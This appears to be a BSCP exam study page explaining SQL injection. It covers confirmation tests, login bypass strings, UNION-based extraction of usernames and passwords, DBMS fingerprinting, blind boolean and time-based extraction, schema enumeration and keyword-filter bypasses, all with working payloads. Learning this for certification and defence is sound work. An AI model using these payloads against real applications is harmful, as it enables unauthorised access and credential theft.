Skip to content

SQL Injection

← Back to index · Stage 1 (creds) / Stage 2 (admin hash) / Stage 3 (file read) · Read the mindset page first.

Why SQLi exists: the app builds a SQL query by concatenating your input into the query string, so the database parses your input as SQL code, not data. A ' you send closes a string literal the developer opened, and everything after it is executed as query syntax. Every SQLi exploit is "break out of the data context into the query, then make the query do what you want." On BSCP it's the workhorse — a Stage-1 credential dump, a Stage-2 admin hash, or a Stage-3 file read, all from the same skill.

The one rule: confirm → classify (in-band / error / blind) → fingerprint the DBMS → extract with that database's syntax. Fingerprint before you extract, or you'll fire MySQL syntax at an Oracle box.

Decision tree

flowchart TD
  A["Inject a single quote, diff vs baseline"] --> B{"What changed?"}
  B -->|error or 500| ERR["Error-based route"]
  B -->|content differs| INB["In-band possible"]
  B -->|nothing visible| BLIND["Blind route"]
  INB --> U{"Can you UNION?"}
  U -->|yes| UNION["UNION extract"]
  U -->|no but errors leak| VE["Visible error extraction"]
  BLIND --> C{"Any differential?"}
  C -->|content true/false| BOOL["Boolean blind"]
  C -->|only timing| TIME["Time-based blind"]
  C -->|none| OAST["Out-of-band to Collaborator"]
  UNION --> FP["Fingerprint DBMS, then extract"]

1. Confirm & classify — why you baseline first

You cannot tell a ' "did something" without knowing what nothing looks like. Capture a clean response first (status, length, body) — the difference is your signal. Then read the difference: an error means the DB choked on your broken syntax (injectable); a content change on a boolean means you're steering the query; no change at all means either not injectable or blind.

'                 -- break it: error/change = your input reached the query as code
''                -- balance it: back to baseline confirms the quote was the cause
' AND '1'='1      -- true
' AND '1'='2      -- false    (different responses here = a boolean oracle you can extract through)

2. Authentication bypass — why it works

The login query is likely SELECT * FROM users WHERE username='INPUT' AND password='...'. Your admin'-- closes the username string and comments out the password check, so the DB returns the admin row and the app logs you in as admin without a password.

administrator'--       -- MySQL needs a trailing space: '-- 
' OR 1=1 LIMIT 1--

Failure mode: if the app re-verifies a password hash against the returned row (not just "did we get a row"), bypass fails — pivot to UNION extraction to read the real creds.

3. UNION extraction — why each step is needed

UNION appends a second SELECT whose results render alongside the real ones. It has rules, and each sub-step satisfies one:

' ORDER BY 1--            -- find the COLUMN COUNT (increment until it errors); UNION needs matching counts
' UNION SELECT NULL,NULL-- -- confirm the count (no error = right number)
' UNION SELECT 'x',NULL--  -- find a TEXT column (UNION columns must type-match; your data needs a string slot)
' UNION SELECT username, password FROM users--   -- extract
' UNION SELECT NULL, username||'~'||password FROM users--   -- one column? concatenate (Oracle/PG: ||, MySQL: CONCAT, MSSQL: +)
Why the fuss: UNION fails silently if the column count or types don't match — so you build up to the extract one verified step at a time, reading each response.

4. Fingerprint the DBMS — why it changes everything

Syntax diverges by database; the wrong dialect just errors and wastes time. Oracle is the usual trap because every SELECT needs a FROM (use FROM dual).

Trait Oracle MySQL MSSQL PostgreSQL
version banner FROM v$version @@version @@version version()
needs FROM FROM dual no no no
concat \|\| CONCAT() + \|\|
time delay dbms_pipe.receive_message(('a'),10) SLEEP(10) WAITFOR DELAY '0:0:10' pg_sleep(10)

5. Blind extraction — why one character at a time

No data renders, so you can't read the answer — you make the database behave differently based on one character, and read that behaviour. Boolean: the page content differs on true/false. Time-based: the DB sleeps only when true. Either way you binary-search each character.

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--   -- boolean
'||(SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END ...)--   -- time
No differential at all → exfil out-of-band to Collaborator (a DNS lookup carrying the data). Automate the loop with Intruder.

6. Reading the schema (when names aren't obvious)

' UNION SELECT table_name,NULL FROM information_schema.tables--   -- (Oracle: all_tables)
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--

SQLMap is allowed on BSCP (unlike OSCP) — but understand the manual path: the exam often presents a filter or context where you must hand-craft the bypass, and you need to read the responses to know what's happening.

Failure modes

  • No baseline → you can't read a differential; capture a clean request first.
  • UNION "does nothing" → column count or type mismatch; re-verify the count and that your column is a string slot.
  • Wrong dialect errors → fingerprint before extracting (Oracle needs FROM dual).
  • Comment not working → MySQL -- needs a trailing space; try # or -- -.
  • Filtered keywords → inline comments UN/**/ION, case variation, or XML-encoding (a known exam bypass).